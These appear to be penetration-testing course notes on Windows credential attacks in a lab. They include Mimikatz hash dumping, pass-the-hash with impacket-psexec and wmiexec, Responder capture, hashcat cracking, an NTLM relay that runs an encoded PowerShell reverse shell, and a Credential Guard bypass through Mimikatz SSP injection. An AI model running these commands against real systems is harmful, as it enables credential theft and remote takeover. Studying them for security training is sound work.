Windows Passwords & Attacks
Cracking NTLM is covered here:
Pass the Hash:
Get the hash using mimikatz:
privilege::debug
token::elevate
lsadump::sam
sekurlsa::logonPasswordsUse hash in smbclient:
smbclient \\\\192.168.1.212\\secrets -U Administrator --pw-nt-hash 7d74710ea6f0027ee955abed1762964b
get secrets.txtUsing PSExec:
To execute psexec, we can enter impacket-psexec with two arguments. The first argument is -hashes, which allows us to use NTLM hashes to authenticate to the target. The format is "LMHash:NTHash", in which we specify the Administrator NTLM hash after the colon. Since we only use the NTLM hash, we can fill the LMHash section with 32 0's.
impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abcd1762964b [email protected]Using WMIEXEC
We can also use one of the other impacket scripts like wmiexec.py to obtain a shell as the user we used for authentication. On Kali, we would use impacket-wmiexec along with the arguments we used for impacket-psexec.
impacket-wmiexec -hashes 00000000000000000000000000000000:7b74710ea6f0027ee955abed1762964b [email protected]Capturing & Cracking NTLMv2
Let's do this now. First, we'll need to run ip a to retrieve a list of all interfaces. Then, we'll run responder (which is already pre-installed on Kali) as sudo to enable permissions needed to handle privileged raw socket operations for the various protocols. We'll set the listening interface with -I, noting that your interface name may differ from what's shown here.
ip asudo responder -I tap0Capturing the hash:
This indicates that Responder successfully captured paul's Net-NTLMv2 hash. We'll save this to paul.hash so we can crack it with Hashcat. Before we start cracking, let's retrieve the correct mode.
paul::FILES99:1f9d4c51f6e72345:795F138EC69C274D0FD53BB32908A72B:010100000000000000B050CD1777D801B7585DF5719ACFBA0000000002000800360057004D00520001001E00570049004E002D00340044004E004800550058004300340054004900430004003400570049004E002D00340044004E00480055005800430034005400490043002E00360057004D0052002E004C004F00430041004C0003001400360057004D0052002E004C004F00430041004C0005001400360057004D0052002E004C004F00430041004C000700080000B050CD1777D801060004000200000008003000300000000000000000000000002000008BA7AF42BFD51D70090007951B57CB2F5546F7B599BC577CCD13187CFC5EF4790A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E003100310038002E0032000000000000000000 Crack it with hashcat:
hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --forceRelaying Net-NTLMv2
What we can assume based on the username is that the user may be a local administrator on FILES99. Therefore, we can try to use the hash on another machine in what is known as a relay attack.
In this attack, we'll again use the dir command in the bind shell to create an SMB connection to our Kali machine. Instead of merely printing the Net-NTLMv2 hash used in the authentication step, we'll forward it to FILES99. If files99admin is a local user on FILES99, the authentication is valid and therefore accepted by the machine. If the relayed authentication is from a user with local administrator privileges, we can use it to authenticate and then execute commands over SMB with methods similar to those used by psexec or wmiexec.
We'll perform this attack with ntlmrelayx, another tool from the impacket library. This tool does the heavy lifting for us by setting up an SMB server and relaying the authentication part of an incoming SMB connection to a target of our choice.
Let's get right into the attack by starting ntlmrelayx, which we can use with the pre-installed impacket-ntlmrelayx package. We'll use --no-http-server to disable the HTTP server since we are relaying an SMB connection and -smb2support to add support for SMB2. We'll also use -t to set the target to FILES99. Finally, we'll set our command with -c, which will be executed on the target system as the relayed user. We'll use a PowerShell reverse shell one-liner, which we'll base64-encode and execute with the -enc argument as we've done before in this course. We should note that the base64-encoded PowerShell reverse shell one-liner is shortened in the following listing, but it uses the IP of our Kali machine and port 8080 for the reverse shell to connect.
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.1.212 -c "powershell -enc JABjAGwAaQBlAG4AdA..."nc -nvlp 8080Now we'll run Netcat in another terminal to connect to the bind shell on FILES01 (port 5555). After we connect, we'll enter dir \\192.168.119.2\test to create an SMB connection to our Kali machine. Again, the remote folder name is arbitrary.
kali@kali:~$ nc 192.168.50.211 5555
Microsoft Windows [Version 10.0.20348.707]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
files01\files99admin
C:\Windows\system32>dir \\192.168.119.2\test
...Listing 54 - Using the dir command to create an SMB connection to our Kali machine
We should receive an incoming connection in our ntlmrelayx tab.
[*] SMBD-Thread-4: Received connection from 192.168.1.211, attacking target smb://192.168.50.212
[*] Authenticating against smb://192.168.1.212 as FILES98/FILES99ADMIN SUCCEED
[*] SMBD-Thread-6: Connection from 192.168.1.211 controlled, but there are no more targets left!
...
[*] Executed specified command on host: 192.168.1.212Listing 55 - Relay-attack to execute the reverse shell on FILES02
The output indicates that ntlmrelayx received an SMB connection and used it to authenticate to our target by relaying it. After successfully authenticating, our command was executed on the target.
Our Netcat listener should have caught the reverse shell.
connect to [192.168.99.2] from (UNKNOWN) [192.168.1.212] 49674
whoami
nt authority\system
PS C:\Windows\system32> hostname
FILES99
PS C:\Windows\system32> ipconfig
Incoming reverse shell
Listing 56 shows that we successfully leveraged a relay attack to get code execution on FILES99!
In this section, we demonstrated that we can leverage our ability to start an SMB connection to either crack or relay the Net-NTLMv2 hash. However, UAC remote restrictions limit the users we can use in pass-the-hash or relay attacks outside of an Active Directory environment.
Windows Credential Guard
Virtualization-based Security (VBS) is a software technology which takes advantage of the hardware virtualization features that modern CPUs provide. These features can be used to, among other things, create and isolate secure regions of memory which become the root of trust of the operating system.
VBS runs a hypervisor on the physical hardware rather than running on the operating system. A hypervisor is a software component that uses hardware virtualization features provided by the CPU in order to create and manage virtual machines.
Specifically, VBS is implemented through Hyper-V, Microsoft's native hypervisor. In addition, Microsoft built the Virtual Secure Mode (VSM) which is a set of hypervisor capabilities offered to the Hyper-V partitions.
Although an in-depth discussion of the technical implementation of VBS and VSM is outside of the scope for this module, we should explain how this impacts us with regards to password attacks.
VSM creates isolated regions in memory where the operating system can store highly-sensitive information and system security assets. These regions can only be accessed through the hypervisor which runs at higher privileges than even the kernel, meaning that even if we were to elevate our privileges to SYSTEM, we would still not be able to access these regions.
VSM maintains this isolation through what is known as Virtual Trust Levels (VTLs). Each VTL represents a separate isolated memory region and currently Microsoft supports up to 16 levels, ranked from least privileged, VTL0, to VTL1, with VTL1 having more privileges than VTL0 and so on. As of the writing of this module Windows uses two VTLs:
VTL0 (VSM Normal Mode): Contains the Windows environment that hosts regular user-mode processes as well as a normal kernel (nt) and kernel-mode data.
VTL1 (VSM Secure Mode): Contains an isolated Windows environment used for critical functionalities.
The user-mode in VTL1 is known as Isolated User-Mode (IUM), which consists of IUM processes known as Trusted Processes, Secure Processes, or Trustlets.
Microsoft has used VSM as a base for several mitigations including Device Guard, virtual TPMs and Credential Guard.
These security features premiered with Windows 10 and Windows Server 2016, however, they were not enabled by default. Because of this, the vast majority of machines encountered in an enterprise environment do not have them enabled. With the recent pivot from Microsoft to prioritize security above all these security mitigations are enabled by default on modern Windows installations.
In this Module, we'll focus on Credential Guard mitigation. When enabled, the Local Security Authority (LSASS) environment runs as a trustlet in VTL1 named LSAISO.exe (LSA Isolated) and communicates with the LSASS.exe process running in VTL0 through an RCP channel.
Mimikatz can peruse the memory of the LSASS process and retrieve cached hashes, credentials and information. With the new process running in VTL1, all the cached hashes and credential information is stored there, rather than in the memory of the LSASS process, meaning we can't access it.
Let's try to see what happens when we try to dump all available credentials using Mimikatz on the CLIENTWK245 machine which has Credential Guard enabled.
After successfully establishing the logon session, we’ll close the current RDP window and reconnect to the CLIENTWK245 machine once again. This time, we'll use the offsec user, which is a local administrator, with the lab password.
We will start the Windows Terminal as administrator by clicking on the Windows icon in the taskbar and typing "terminal". We'll right-click on Terminal and select the Run as Administrator, and confirm the User Account Control (UAC) popup window by clicking on Yes.
To start off we want to confirm that Credential Guard is running on our machine. We can do this through the Get-ComputerInfo powershell cmdlet.
Get-ComputerInfo
The output shows that while we know the Administrator user of the CORP.COM domain has logged into this box, we can't obtain the cached hashes because the LSASS process only has access to this information after it has been encrypted by the LSAISO process.
In order to overcome this mitigation we have to take a different approach. Given that we can't retrieve cached hashes and credentials, we must change our focus. Instead of trying to get this information after a user has already logged into the box, we could attempt to intercept the credentials while a user is logging in.
Microsoft provides quite a few authentication mechanisms as part of the Windows operating system such as Local Security Authority (LSA) Authentication, Winlogon, Security Support Provider Interfaces (SSPI), etc.
Specifically, SSPI is foundational as it is used by all applications and services that require authentication. For example, when two Windows computers or devices need to be authenticated in order to securely communicate, the requests made for authentication are routed to the SSPI which then handles the actual authentication.
By default, Windows provides several Security Support Providers (SSP) such as Kerberos Security Support Provider, NTLM Security Support Provider, etc. these are incorporated into the SSPI as DLLs and when authentication happens the SSPI decides which one to use.
Additionally the SSP can also be registered through the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages registry key. Each time the system starts up, the Local Security Authority (lsass.exe) loads the SSP DLLs present in the list pointed to by the registry key.
What this means is that if we were to develop our own SSP and register it with LSASS, we could maybe force the SSPI to use our malicious Security Support Provider DLL for authentication.
Fortunately, Mimikatz already supports this through the memssp, which not only provides the required Security Support Provider (SSP) functionality but injects it directly into the memory of the lsass.exe process without dropping any DLLs on disk.
The Mimikatz SSP takes advantage of the fact that a SSP is called with plaintext credentials through the SSPI allowing us to intercept them directly without needing to resort to a hash.
With all the theory covered, let's try to see how we can implement this attack using Mimikatz.
Going back to our RDP session on the CLIENTWK245 machine, we had just attempted to dump the cached hash of the CORP\Administrator user which did not work because Credential Guard was enabled.
Let's try to inject an SSP instead using the misc::memssp command.
privilege::debug
misc::memsspThe output shows that the SSP has been injected.
At this point, we have two options, we can either be patient and wait for another user to remotely connect to the machine or we can resort to additional techniques such as social engineering to coerce someone to log in.
For our current test case, we will simply close the current RDP session and open a new one as the CORP\Administrator user
When injecting a SSP into LSASS using Mimikatz, the credentials will be saved in a log file, C:\Windows\System32\mimilsa.log.
We'll start the Windows Terminal as administrator by clicking on the Windows icon in the taskbar and typing "terminal". We'll right click on Terminal and select the Run as Administrator, then confirm the User Account Control (UAC) popup window by clicking Yes.
Once the terminal is open, we will check the contents of the mimilsa.log file.
type C:\Windows\System32\mimilsa.log
The file contents indicate that we were able to successfully capture the plaintext credentials for the CORP\Administrator user.
In this section, we covered some of the more recent mitigations introduced by Microsoft in the form of Credential Guard. We used Mimikatz to dump cached credentials when Credential Guard was enabled and when it was disabled. Finally, we circumvented the mitigation by injecting a Security Support Provider (SSP) through Mimikatz and obtained plaintext passwords for users that logged into the system.
Last updated